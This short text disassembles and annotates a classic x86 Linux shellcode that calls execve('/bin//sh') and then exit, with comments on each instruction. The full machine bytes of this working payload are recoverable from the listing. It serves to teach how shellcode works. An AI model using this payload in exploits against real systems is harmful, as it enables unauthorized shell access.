Disassembly:
0: 31 c9 xor ecx,ecx
2: f7 e1 mul ecx
4: 51 push ecx
5: 68 2f 2f 73 68 push 0x68732f2f
a: 68 2f 62 69 6e push 0x6e69622f
f: 89 e3 mov ebx,esp
11: b0 0b mov al,0xb
13: cd 80 int 0x80
15: 51 push ecx
16: b0 01 mov al,0x1
18: cd 80 int 0x80
0: 31 c9 xor ecx,ecx ;; ecx = 0
2: f7 e1 mul ecx ;; eax = eax * ecx (set eax to 0)
4: 51 push ecx ;; push 0 on stack (string end)
5: 68 2f 2f 73 68 push 0x68732f2f ;; push "//sh" on stack
a: 68 2f 62 69 6e push 0x6e69622f ;; push "/bin" on stack
f: 89 e3 mov ebx,esp ;; ebx = esp (esp = @"/bin//sh\0")
11: b0 0b mov al,0xb ;; eax = 0xb (sys_call_execve)
13: cd 80 int 0x80 ;; call execve("/bin//sh")
15: 51 push ecx ;; push 0 on stack
16: b0 01 mov al,0x1 ;; eax = 1 (sys_call_exit)
18: cd 80 int 0x80 ;; call exit(ebx)
Basically, this is a shellcode that run /bin/sh and, then, exit().
